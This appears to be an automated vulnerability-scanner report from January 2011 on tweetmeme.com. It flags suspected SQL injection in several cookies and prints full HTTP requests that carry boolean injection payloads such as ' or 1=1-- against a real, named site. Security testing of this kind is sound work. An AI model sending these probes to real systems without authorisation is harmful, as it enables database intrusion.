<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The tm_identity cookie appears to be vulnerable to SQL injection attacks. The payloads 32365738'%20or%201%3d1--%20 and 32365738'%20or%201%3d2--%20 were each submitted in the tm_identity cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /story/3829268752/video-smack-fest-2011-in-queens-ny-2-girls-go-head-to-head-slapping-the-ish-out-each-other-for-2-000 HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe05632365738'%20or%201%3d1--%20; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:46:50 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0059370994567871 X-Served-In: 1.0348711013794 X-Served-By: ded2062 Content-Length: 41912
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Vid ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=95525847187"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=5170608887" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /story/3829268752/video-smack-fest-2011-in-queens-ny-2-girls-go-head-to-head-slapping-the-ish-out-each-other-for-2-000 HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe05632365738'%20or%201%3d2--%20; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:46:53 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0051429271697998 X-Served-In: 1.036278963089 X-Served-By: h03 Content-Length: 41922
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Vid ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=27425754144"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=85382011911" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The __utmv cookie appears to be vulnerable to SQL injection attacks. The payloads 19840181'%20or%201%3d1--%20 and 19840181'%20or%201%3d2--%20 were each submitted in the __utmv cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /story/3829851328/kevin-durant-mendenhall-what-r-u-doing-son-twitvid HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=19840181'%20or%201%3d1--%20; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:41:52 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.011123895645142 X-Served-In: 1.0946009159088 X-Served-By: h04 Content-Length: 41335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Kev ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=74397597485"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=25266362030" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /story/3829851328/kevin-durant-mendenhall-what-r-u-doing-son-twitvid HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=19840181'%20or%201%3d2--%20; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:41:54 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0042209625244141 X-Served-In: 1.0478310585022 X-Served-By: ded2062 Content-Length: 41325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Kev ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=80487986150"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=9368828565" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The __csv cookie appears to be vulnerable to SQL injection attacks. The payloads 65272576'%20or%201%3d1--%20 and 65272576'%20or%201%3d2--%20 were each submitted in the __csv cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /story/3831576446/google-says-removing-reader-link-in-gmail-was-a-mistake-aims-to-bring-back-monday HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c65272576'%20or%201%3d1--%20; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:44:49 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0037760734558105 X-Served-In: 0.033467054367065 X-Served-By: h02 Content-Length: 51437
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Goo ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=technology&width=300&height=250&rand=71206812848"> </iframe> </div><!-- advert: technology_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=technology&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=technology&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=58939708341" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3834773149/an-open-letter-to-the-smiley-face-following-an-insult" title="An Open Letter to the Smiley Face Following an Insult">
An Open Letter to the Smiley Face Following an Insult </a> - <span class="green">206 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3834773149/an-open-letter-to-the-smiley-face-following-an-insult" title="An Open Letter to the Smiley Face Following an Insult">
An Open Letter to the Smiley Face Following an Insult </a> - <span class="green">206 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
The tm_identity cookie appears to be vulnerable to SQL injection attacks. The payloads 15946719'%20or%201%3d1--%20 and 15946719'%20or%201%3d2--%20 were each submitted in the tm_identity cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /user/KDthunderup HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe05615946719'%20or%201%3d1--%20; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:54:12 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0026209354400635 X-Served-In: 0.9899480342865 X-Served-By: ded2060 Content-Length: 27951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> KDt ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=50530586094"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=12648635625" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /user/KDthunderup HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe05615946719'%20or%201%3d2--%20; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:54:14 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0022521018981934 X-Served-In: 1.078409910202 X-Served-By: ded2062 Content-Length: 27941
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> KDt ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=8696083892"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=49801665906" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The __csnv cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the __csnv cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /user/RWW HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0'%20and%201%3d1--%20; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:54:58 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0021669864654541 X-Served-In: 1.6059739589691 X-Served-By: ded2061 Content-Length: 38843
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> RWW ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=91982936287"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=55618636940" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /user/RWW HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0'%20and%201%3d2--%20; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:55:01 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0026979446411133 X-Served-In: 1.5601210594177 X-Served-By: ded2060 Content-Length: 38833
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> RWW ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=143229935"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=54531145923" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The __qca cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the __qca cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /user/reiserlaw HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201'%20and%201%3d1--%20; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:59:52 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0044441223144531 X-Served-In: 1.7354860305786 X-Served-By: h04 Content-Length: 39553
